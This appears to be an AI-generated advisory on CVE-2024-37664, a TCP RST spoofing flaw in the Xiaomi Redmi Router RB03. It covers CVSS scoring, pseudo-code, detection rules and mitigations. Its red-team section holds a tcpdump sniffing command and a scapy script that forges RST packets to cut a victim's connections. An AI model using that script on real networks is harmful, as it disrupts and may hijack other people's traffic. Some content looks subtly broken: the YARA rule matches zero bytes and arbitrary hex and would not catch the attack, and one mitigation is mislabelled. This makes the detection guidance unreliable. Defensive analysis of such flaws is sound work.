CVE-2024-37664

Executive Summary

CVE-2024-37664 exposes a critical TCP denial-of-service (DoS) and session hijacking vulnerability in the Xiaomi Redmi Router RB03 (firmware version 1.0.57). An attacker on the same WLAN can inject forged TCP RST (Reset) packets to force the router to evict NAT mappings, causing all traffic between a victim and any remote server to be disrupted or hijacked. This attack does not require authentication and can be executed with low complexity, making it a significant threat to home and small-office networks using this device.

The vulnerability stems from insufficient validation of TCP reset packets by the router’s NAT state machine. By spoofing a TCP RST with correct sequence numbers, an attacker can terminate active connections or redirect traffic, leading to service disruption or potential man-in-the-middle (MITM) scenarios.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – Requires attacker to be on the same WLAN.
• Attack Complexity (AC): Low (AC:L) – No special conditions required.
• Privileges Required (PR): None (PR:N) – No authentication needed.
• User Interaction (UI): None (UI:N) – Victim does not need to perform any action.
• Scope (S): Unchanged (S:U) – The vulnerable component is the router itself.
• Confidentiality (C): None (C:N) – No direct data exposure.
• Integrity (I): Low (I:L) – Traffic can be hijacked or modified.
• Availability (A): High (A:H) – Connections can be terminated, causing DoS.

CVSS Score: 7.1 (High) – This reflects the ease of exploitation and the potential for both DoS and traffic hijacking.

Deep Dive & Mechanics

The vulnerability lies in the NAT (Network Address Translation) implementation of the Redmi Router RB03. When a device on the internal network establishes a TCP connection to an external server, the router creates a NAT mapping to track the session. This mapping includes source/destination IPs, ports, and TCP sequence numbers.

An attacker on the same WLAN can sniff the victim’s traffic to obtain the necessary TCP sequence numbers. By sending a forged TCP RST packet to the router’s external interface (or internal interface, depending on the attack vector), the attacker can cause the router to prematurely remove the NAT mapping. This results in:

1. Connection Termination: The router stops forwarding packets for that session, causing the victim’s connection to drop.
2. Traffic Hijacking: If the attacker can also spoof responses, they can redirect the victim’s traffic to a malicious server.

The attack is effective because the router does not validate the authenticity of the RST packet beyond basic TCP header checks. It trusts the sequence number without verifying the source IP or using mechanisms like TCP timestamps or SACK.

Vulnerable vs. Patched Code

No official patch has been released. The vulnerable code is in the router’s firmware NAT module. A patched version would need to implement one or more of the following:

• TCP RST validation: Verify that the RST packet originates from the actual endpoint (e.g., by checking the source IP against the NAT mapping).
• Sequence number randomization: Use RFC 5961-compliant challenge ACK to validate RST packets.
• Rate limiting: Limit the number of RST packets processed per second.

Since no patch is available, the “patched” code is hypothetical. Below is a conceptual comparison:

Vulnerable (pseudo-code):

void process_tcp_rst(packet) {
    if (nat_mapping_exists(packet->src_ip, packet->dst_ip, packet->src_port, packet->dst_port)) {
        if (packet->seq_num == nat_mapping->expected_seq) {
            remove_nat_mapping(nat_mapping);
        }
    }
}

Patched (pseudo-code):

void process_tcp_rst(packet) {
    if (nat_mapping_exists(packet->src_ip, packet->dst_ip, packet->src_port, packet->dst_port)) {
        // Validate source IP matches the external endpoint
        if (packet->src_ip != nat_mapping->external_ip) {
            return; // Drop spoofed RST
        }
        if (packet->seq_num == nat_mapping->expected_seq) {
            // Send challenge ACK per RFC 5961
            send_challenge_ack(nat_mapping);
            // Only remove mapping after valid ACK response
        }
    }
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Attacker machine on same WLAN as victim (e.g., Kali Linux with aircrack-ng and scapy).
• Victim device connected to the Redmi Router RB03.
• Knowledge of victim’s IP address (can be obtained via ARP scanning).

Exploit Steps:

1. Sniff TCP traffic to obtain a valid TCP connection’s sequence numbers:

   sudo tcpdump -i wlan0 -X host <victim_ip> and tcp
   

2. Craft a forged TCP RST packet using scapy:

   from scapy.all import *
   # Replace with actual values from sniffed traffic
   src_ip = "192.168.1.100"  # Victim's IP
   dst_ip = "8.8.8.8"        # Remote server
   src_port = 12345          # Victim's source port
   dst_port = 80             # Remote server port
   seq_num = 1000            # Sequence number from sniffed packet
   ip = IP(src=src_ip, dst=dst_ip)
   tcp = TCP(sport=src_port, dport=dst_port, flags="R", seq=seq_num)
   send(ip/tcp, iface="wlan0")
   

3. Execute the script to send the RST packet to the router. The victim’s connection will be terminated.

For hijacking: After evicting the NAT mapping, the attacker can spoof responses from the remote server to the victim, effectively taking over the session.

Blue Team (Defense & Detection)

Detection:

• Monitor for excessive TCP RST packets from unknown sources.
• Use IDS/IPS rules to flag RST packets that do not match the expected source IP of a NAT mapping.
• Enable logging on the router (if possible) to capture NAT events.

Mitigation:

• Isolate the router on a separate VLAN if possible.
• Use VPN for sensitive traffic to bypass NAT-based attacks.
• Apply firewall rules to drop RST packets from internal IPs that are not the actual endpoints.

Indicators of Compromise (IOCs)

• Network Traffic:
  • High volume of TCP RST packets from a single source IP on the WLAN.
  • TCP RST packets with sequence numbers that match active NAT mappings but originate from unexpected IPs.
• Router Logs:
  • Sudden termination of multiple NAT mappings without corresponding FIN/ACK exchanges.
  • Log entries showing NAT mapping removal triggered by RST packets.
• Victim Behavior:
  • Frequent, unexplained TCP connection drops.
  • Inability to maintain long-lived connections (e.g., SSH, streaming).

Detection Engineering

YARA Rule

rule CVE_2024_37664_TCP_RST_Attack {
    meta:
        description = "Detects forged TCP RST packets targeting Xiaomi Redmi Router RB03"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-37664"
    strings:
        $tcp_rst = { 00 00 00 00 00 00 00 00 00 00 00 00 08 00 45 00 } // Simplified TCP/IP header
        $seq_pattern = /[A-F0-9]{8}/ // Sequence number pattern
    condition:
        $tcp_rst and #seq_pattern > 5
}

Sigma Rule

title: Detection of Forged TCP RST Packets (CVE-2024-37664)
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects anomalous TCP RST packets that may indicate NAT mapping eviction attack on Xiaomi routers
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 202437664
    condition: selection
falsepositives:
    - Legitimate TCP RST packets from actual endpoints
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37664 - Forged TCP RST to Xiaomi Router"; flow:to_server; flags:R; threshold:type both, track by_src, count 10, seconds 60; sid:202437664; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management on the router to reduce attack surface.
2. Change default Wi-Fi credentials and use WPA3 if supported.
3. Monitor network traffic for unusual RST packets using the provided detection rules.

Long-term Fix:

• Firmware Update: Check Xiaomi’s support page for a patched firmware. If unavailable, consider replacing the router with a model that has proper TCP RST validation.
• Workaround: Implement a firewall rule on the router (if configurable) to drop RST packets from internal IPs that are not the actual endpoints of a NAT mapping.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.